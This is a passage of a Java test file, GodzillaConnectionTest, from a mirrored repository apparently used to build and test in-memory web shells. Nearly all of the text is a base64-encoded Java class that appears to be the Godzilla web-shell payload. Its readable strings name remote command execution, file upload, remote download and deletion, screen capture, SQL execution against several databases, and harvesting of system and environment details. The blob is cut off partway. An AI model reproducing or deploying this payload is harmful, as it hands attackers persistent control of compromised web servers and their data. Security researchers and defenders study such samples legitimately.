mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
118 lines
53 KiB
Java
118 lines
53 KiB
Java
package com.reajason.javaweb;
|
|
|
|
import lombok.SneakyThrows;
|
|
import org.apache.commons.codec.binary.Base64;
|
|
import org.apache.commons.io.IOUtils;
|
|
import org.junit.jupiter.api.Test;
|
|
|
|
import javax.crypto.Cipher;
|
|
import javax.crypto.spec.SecretKeySpec;
|
|
import java.io.ByteArrayInputStream;
|
|
import java.io.ByteArrayOutputStream;
|
|
import java.io.IOException;
|
|
import java.net.URLDecoder;
|
|
import java.net.URLEncoder;
|
|
import java.nio.file.Files;
|
|
import java.nio.file.Paths;
|
|
import java.util.zip.GZIPInputStream;
|
|
import java.util.zip.GZIPOutputStream;
|
|
|
|
/**
|
|
* @author ReaJason
|
|
* @since 2024/11/24
|
|
*/
|
|
class GodzillaConnectionTest {
|
|
|
|
@Test
|
|
void test() throws IOException {
|
|
byte[] bytes = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnR